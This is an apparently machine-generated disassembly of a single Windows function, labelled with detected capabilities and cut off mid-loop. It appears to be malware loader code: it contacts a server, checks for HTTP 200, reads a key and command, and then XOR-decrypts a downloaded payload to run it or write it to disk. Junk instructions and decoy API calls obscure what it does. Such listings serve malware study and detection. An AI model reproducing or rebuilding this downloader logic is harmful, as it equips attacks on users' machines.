Function at 0x140010f90
Capabilities:
Check http status code
Create directory
Delete file

Disassembly:
push rdi
mov eax, 0x10e0
call fcn.14002aaa0
sub rsp, rax
mov rax, qword [0x140038040]
xor rax, rsp
mov qword [rsp + 0x10d0], rax
mov dword [rsp + 0x160], 0xadad
mov dword [rsp + 0x50], 0x3368
mov dword [rsp + 0x58], 0x10b55
mov dword [rsp + 0x5c], 0x68c3
mov dword [rsp + 0x54], 0xbed2
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x140034880]
call qword [0x14003c340]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x140011016
xor eax, eax
jmp 0x140012848
mov r8d, 4
mov edx, 0x26
lea rcx, [0x140038c50]
call fcn.14000d0e0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x80]
call qword [0x14003c348]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140011077
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
mov dword [rsp + 0x2d0], 0
mov dword [rsp + 0x2d8], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2d8]
lea r8, [rsp + 0x2d0]
mov edx, 0x20000013
mov rcx, qword [rsp + 0x60]
call qword [0x14003c358]
nop
cmp dword [rsp + 0x2d0], 0xc8
je 0x1400110e4
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
mov dword [rsp + 0x2b8], 0
mov dword [rsp + 0x2d4], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2d4]
lea r8, [rsp + 0x2b8]
mov edx, 0x20000005
mov rcx, qword [rsp + 0x60]
call qword [0x14003c358]
nop
cmp dword [rsp + 0x2b8], 0
ja 0x14001114e
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
mov dword [rsp + 0x2c0], 0
lea r9, [rsp + 0x2c0]
mov r8d, 1
lea rdx, [rsp + 0x390]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c350]
test eax, eax
je 0x140011188
cmp dword [rsp + 0x2c0], 1
je 0x14001118f
xor eax, eax
jmp 0x140012848
mov eax, 1
imul rax, rax, 0
movzx eax, byte [rsp + rax + 0x390]
mov dword [rsp + 0x70], eax
lea r9, [rsp + 0x2c0]
mov r8d, dword [rsp + 0x70]
lea rdx, [rsp + 0x390]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c350]
test eax, eax
je 0x1400111d5
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x2c0], eax
je 0x1400111f5
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
lea r9, [rsp + 0x2c0]
mov r8d, 1
lea rdx, [rsp + 0x2bc]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c350]
test eax, eax
je 0x140011224
cmp dword [rsp + 0x2c0], 1
je 0x140011244
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
mov dword [rsp + 0xac], 0
movzx eax, byte [rsp + 0x2bc]
cmp eax, 0xb
jne 0x1400112a8
mov eax, dword [rsp + 0x70]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2c0]
lea r8, [rsp + 0x390]
mov edx, dword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x60]
call fcn.14000f6f0
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
mov eax, 1
jmp 0x140012848
movzx eax, byte [rsp + 0x2bc]
cmp eax, 0xe
jne 0x140011cdd
mov eax, dword [rsp + 0x2b8]
mov qword [rsp + 0x178], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x178]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x90], rax
cmp qword [rsp + 0x90], 0
jne 0x1400112fe
xor eax, eax
jmp 0x140012848
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x9c], 0
mov eax, dword [rsp + 0x2b8]
cmp dword [rsp + 0x6c], eax
jae 0x140011388
mov dword [rsp + 0x2c8], 0
mov eax, dword [rsp + 0x6c]
mov ecx, dword [rsp + 0x2b8]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6c]
mov rdx, qword [rsp + 0x90]
add rdx, rcx
mov rcx, rdx
lea r9, [rsp + 0x2c8]
mov r8d, eax
mov rdx, rcx
mov rcx, qword [rsp + 0x60]
call qword [0x14003c350]
test eax, eax
je 0x140011371
cmp dword [rsp + 0x2c8], 0
jne 0x140011373
jmp 0x140011388
mov eax, dword [rsp + 0x2c8]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
jmp 0x140011311
mov dword [rsp + 0x74], 0
jmp 0x14001139c
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x6c]
cmp dword [rsp + 0x74], eax
jae 0x140011bee
mov eax, dword [rsp + 0x74]
mov qword [rsp + 0x180], rax
xor edx, edx
mov eax, dword [rsp + 0x9c]
div dword [rsp + 0x70]
mov eax, edx
mov eax, eax
movzx eax, byte [rsp + rax + 0x390]
mov rcx, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x180]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x74]
mov rdx, qword [rsp + 0x90]
mov byte [rdx + rcx], al
mov eax, dword [0x140038c38]
cmp dword [rsp + 0x50], eax
jb 0x140011543
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xb4], eax
jmp 0x140011423
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
mov eax, dword [0x140038bf0]
cmp dword [rsp + 0xb4], eax
jle 0x14001153e
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
mov edx, dword [rsp + 0x5c]
add edx, ecx
mov ecx, edx
and eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x53de
sar eax, 0xd9
mov ecx, dword [rsp + 0x54]
mov edx, dword [rsp + 0x5c]
sub edx, ecx
mov ecx, edx
mov dword [rsp + 0x140], ecx
mov edx, dword [rsp + 0x50]
movzx ecx, dl
mov edx, dword [rsp + 0x140]
shl edx, cl
mov ecx, edx
or eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x5c]
imul eax, dword [rsp + 0x58]
add eax, dword [rsp + 0x58]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
add eax, 0xf99f
mov dword [rsp + 0x50], eax
imul eax, dword [rsp + 0x58], 0x18c1
add eax, dword [rsp + 0x5c]
mov dword [rsp + 0x144], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov ecx, 0xba64
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x144]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
movzx ecx, al
mov eax, dword [rsp + 0x50]
sar eax, cl
mov dword [rsp + 0x14c], eax
mov eax, 0xcb76
cdq
idiv dword [rsp + 0x58]
mov eax, edx
mov ecx, dword [rsp + 0x14c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x50]
sar eax, cl
mov dword [rsp + 0x54], eax
jmp 0x140011413
jmp 0x140011bd1
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x5c], eax
jle 0x140011bd1
mov eax, dword [0x140038c04]
cmp dword [rsp + 0x50], eax
jle 0x140011567
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x54], eax
jg 0x1400115db
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xb8], eax
jmp 0x140011584
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xb8], eax
mov eax, dword [0x140038bec]
cmp dword [rsp + 0xb8], eax
jbe 0x1400115d6
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
call fcn.1400011b0
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
add eax, dword [rsp + 0x58]
add eax, dword [rsp + 0x54]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
shl eax, 0x93
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
sub edx, ecx
mov ecx, edx
add ecx, dword [rsp + 0x58]
or eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x140011574
jmp 0x140011bd1
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xbc], eax
jmp 0x1400115f8
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xbc], eax
mov eax, dword [0x140038b4c]
cmp dword [rsp + 0xbc], eax
jb 0x140011bd1
mov eax, dword [0x140038bbc]
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0x3578
je 0x140011787
cmp dword [rsp + 0x88], 0x4d46
je 0x1400118b0
cmp dword [rsp + 0x88], 0xae11
je 0x14001165d
cmp dword [rsp + 0x88], 0x16cc9
je 0x14001197a
jmp 0x140011bcc
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0xa8], eax
jmp 0x14001167a
mov eax, dword [rsp + 0xa8]
dec eax
mov dword [rsp + 0xa8], eax
mov eax, dword [0x140038c04]
cmp dword [rsp + 0xa8], eax
jne 0x140011782
mov dword [rsp + 0x58], 0x149bc
mov eax, dword [rsp + 0x54]
movzx ecx, al
mov eax, dword [rsp + 0x58]
shl eax, cl
mov ecx, dword [rsp + 0x54]
sar eax, cl
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x5c]
sub edx, ecx
mov ecx, edx
add ecx, 0x2492
shl eax, cl
mov dword [rsp + 0x58], eax
mov ecx, dword [rsp + 0x58]
call fcn.140001aa0
mov eax, dword [rsp + 0x54]
add eax, 0xb2b6
mov dword [rsp + 0x150], eax
mov ecx, dword [rsp + 0x58]
imul ecx, dword [rsp + 0x50]
mov eax, ecx
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov ecx, dword [rsp + 0x150]
sub ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [rsp + 0x58]
shl eax, cl
mov dword [rsp + 0x50], eax
xor edx, edx
mov ecx, 0x7e924
call qword [sym.imp.ole32.dll_CreatePointerMoniker]
mov dword [rsp + 0x58], eax
imul eax, dword [rsp + 0x54], 0x8f3b
sub eax, dword [rsp + 0x58]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
cmp dword [0x140038c40], eax
jb 0x14001168d
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
call fcn.140001a40
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x58]
mov dword [rsp + 0x5c], eax
jmp 0x14001166a
jmp 0x140011bcc
mov eax, 0x4871
cdq
idiv dword [rsp + 0x5c]
sub eax, dword [rsp + 0x5c]
mov dword [0x140038c38], eax
mov edx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
call fcn.140001f30
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x50], eax
call fcn.1400026e0
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
lea eax, [rcx + rax - 0x7d59]
mov ecx, dword [rsp + 0x50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
movzx ecx, al
mov eax, dword [rsp + 0x54]
shl eax, cl
or eax, dword [rsp + 0x5c]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x58]
mov r8d, dword [rsp + 0x54]
mov edx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [rsp + 0x54], eax
mov ecx, dword [rsp + 0x54]
call fcn.140002660
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov ecx, 0xc3ff
mov dword [rsp + 0x120], ecx
movzx ecx, al
mov eax, dword [rsp + 0x120]
shl eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0x5840
idiv ecx
sub eax, dword [rsp + 0x58]
sub eax, dword [rsp + 0x50]
mov dword [rsp + 0x5c], eax
mov dword [rsp + 0x50], 0
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov ecx, dword [rsp + 0x50]
call fcn.140002660
mov eax, 0x17ab3
cdq
idiv dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov dword [0x140038b3c], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x50]
sub eax, 0x6a09
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x50]
or eax, dword [rsp + 0x58]
mov dword [0x140038bb8], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x58]
add eax, dword [rsp + 0x50]
or eax, dword [rsp + 0x54]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x50]
mov dword [rsp + 0x124], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x124]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x54]
mov dword [rsp + 0x5c], eax
mov ecx, dword [rsp + 0x54]
call fcn.140002180
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x154], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x54]
mov ecx, dword [rsp + 0x154]
sub ecx, eax
mov eax, ecx
shl eax, 0xe6
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x50]
sub eax, dword [rsp + 0x5c]
movzx ecx, al
mov eax, dword [rsp + 0x54]
shl eax, cl
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
cmp dword [0x140038bf0], eax
jle 0x1400118b0
jmp 0x140011bcc
mov eax, dword [rsp + 0x5c]
mov dword [0x140038cac], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x54]
shl eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x50]
add eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
sub ecx, 0x5e26
shl eax, cl
mov dword [rsp + 0x58], eax
mov edx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
call fcn.1400060d0
cmp dword [0x140038bbc], eax
jbe 0x140011a94
mov dword [rsp + 0x58], 0x14c81
mov eax, dword [rsp + 0x54]
sub eax, 0x11f60
mov dword [rsp + 0x128], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
cdq
idiv dword [rsp + 0x54]
mov eax, edx
imul eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x128]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
sar eax, 0xc5
mov ecx, dword [rsp + 0x58]
imul ecx, dword [rsp + 0x50]
or eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
lea eax, [rax + rcx - 0xcbee]
mov dword [rsp + 0x54], eax
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
call fcn.1400011b0
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [0x140038bec], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
sub eax, 0xbd42
sub eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
imul ecx, dword [rsp + 0x5c]
imul ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x140011bcc
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x58], eax
mov eax, 0x3e25
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x5c]
add edx, ecx
mov ecx, edx
shl eax, cl
mov dword [rsp + 0x50], eax
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
call qword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x5c]
sar eax, cl
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x54]
add edx, ecx
mov ecx, edx
add ecx, dword [rsp + 0x50]
and eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x12c], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x58]
imul eax, dword [rsp + 0x5c]
imul eax, dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x12c]
shl eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x58]
mov dword [rsp + 0x148], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
mov ecx, dword [rsp + 0x148]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x138]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x1400115e8
mov eax, dword [rsp + 0x9c]
inc eax
xor edx, edx
div dword [rsp + 0x70]
mov eax, edx
mov dword [rsp + 0x9c], eax
jmp 0x140011392
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x90]
mov byte [rcx + rax], 0
xor r8d, r8d
mov rdx, qword [rsp + 0x90]
xor ecx, ecx
call fcn.14001c834
inc rax
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
shl rax, 1
mov qword [rsp + 0x188], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x188]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
je 0x140011ca1
mov r8, qword [rsp + 0x158]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x118]
call fcn.14001c834
mov rcx, qword [rsp + 0x118]
call fcn.1400109f0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x118]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x90]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
mov eax, 1
jmp 0x140012848
mov edx, 7
lea rcx, [rsp + 0x380]
call fcn.14000ee60
lea r8, [rsp + 0x380]
mov edx, 0x104
lea rcx, [rsp + 0x8b0]
call fcn.14001ca8c
nop
movzx eax, byte [rsp + 0x2bc]
mov edx, eax
lea rcx, [rsp + 0x8b0]
call fcn.140010740
mov qword [rsp + 0x190], 0
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c
mov rcx, qword [rsp + 0x190]
call qword [0x14003c378]
nop
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0x68]
call fcn.140010f10
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], 0
jmp 0x140011da3
mov rax, qword [rsp + 0xe8]
inc rax
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 5
jae 0x140011e20
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd8]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0x9a], ax
mov rax, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x1a0], rax
movzx eax, word [rsp + 0x9a]
mov rcx, qword [rsp + 0x1a0]
mov word [rcx], ax
jmp 0x140011d90
mov eax, 5
imul rax, rax, 2
mov rcx, qword [rsp + 0xd8]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x1a8], rax
xor eax, eax
mov rcx, qword [rsp + 0x1a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd8]
add rax, 2
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x1b8]
lea rcx, [rsp + 0x8b0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xac0]
mov r8, rax
mov edx, 0x104
lea rcx, [rsp + 0x490]
call fcn.140001140
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x490]
call qword [0x14003c3b0]
mov qword [rsp + 0x130], rax
cmp qword [rsp + 0x130], 0xffffffffffffffff
jne 0x140011f07
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
xor eax, eax
jmp 0x140012848
mov eax, dword [rsp + 0x2b8]
mov qword [rsp + 0x1c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x1c0]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x13c], 0
mov eax, dword [rsp + 0x2b8]
cmp dword [rsp + 0x13c], eax
jae 0x140012145
mov dword [rsp + 0x2c4], 0
lea r9, [rsp + 0x2c4]
mov r8d, dword [rsp + 0x2b8]
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c350]
test eax, eax
je 0x140011f95
cmp dword [rsp + 0x2c4], 0
jne 0x140011f9a
jmp 0x140012145
mov dword [rsp + 0x78], 0
jmp 0x140011fae
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x2c4]
cmp dword [rsp + 0x78], eax
jae 0x1400120f0
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x1c8], rax
xor edx, edx
mov eax, dword [rsp + 0xac]
div dword [rsp + 0x70]
mov eax, edx
mov eax, eax
movzx eax, byte [rsp + rax + 0x390]
mov rcx, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0x1c8]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x78]
mov rdx, qword [rsp + 0xf0]
mov byte [rdx + rcx], al
mov eax, dword [0x140038b3c]
mov dword [rsp + 0xb0], eax
jmp 0x14001202a
mov eax, dword [rsp + 0xb0]
dec eax
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0xb0], eax
jg 0x1400120d3
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x50]
shl eax, cl
mov ecx, dword [rsp + 0x5c]
or ecx, eax
mov eax, ecx
mov dword [0x140038b3c], eax
mov eax, 0x9b5a
sub eax, dword [rsp + 0x50]
mov dword [rsp + 0x54], eax
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
call fcn.140001a40
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [rsp + 0x5c]
shl eax, cl
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
imul eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
imul eax, dword [rsp + 0x54]
mov dword [0x140038b6c], eax
mov eax, dword [rsp + 0x5c]
cmp dword [0x140038bec], eax
jne 0x14001203b
jmp 0x14001201a
mov eax, dword [rsp + 0xac]
inc eax
xor edx, edx
div dword [rsp + 0x70]
mov eax, edx
mov dword [rsp + 0xac], eax
jmp 0x140011fa4
mov dword [rsp + 0x2cc], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x2cc]
mov r8d, dword [rsp + 0x2c4]
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x130]
call qword [0x14003c3a8]
test eax, eax
je 0x14001213e
mov eax, dword [rsp + 0x2c4]
cmp dword [rsp + 0x2cc], eax
je 0x140012140
jmp 0x140012145
jmp 0x140011f45
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0xf0]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [0x14003c360]
mov rcx, qword [rsp + 0x80]
call qword [0x14003c360]
nop
movzx eax, byte [rsp + 0x2bc]
cmp eax, 2
jne 0x1400125dc
lea rax, [rsp + 0x69]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x69]
call fcn.140012870
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xf8], 0
jmp 0x1400121e3
mov rax, qword [rsp + 0xf8]
inc rax
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 6
jae 0x140012260
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xf8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe0]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0xa4], ax
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xf8]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x1d8], rax
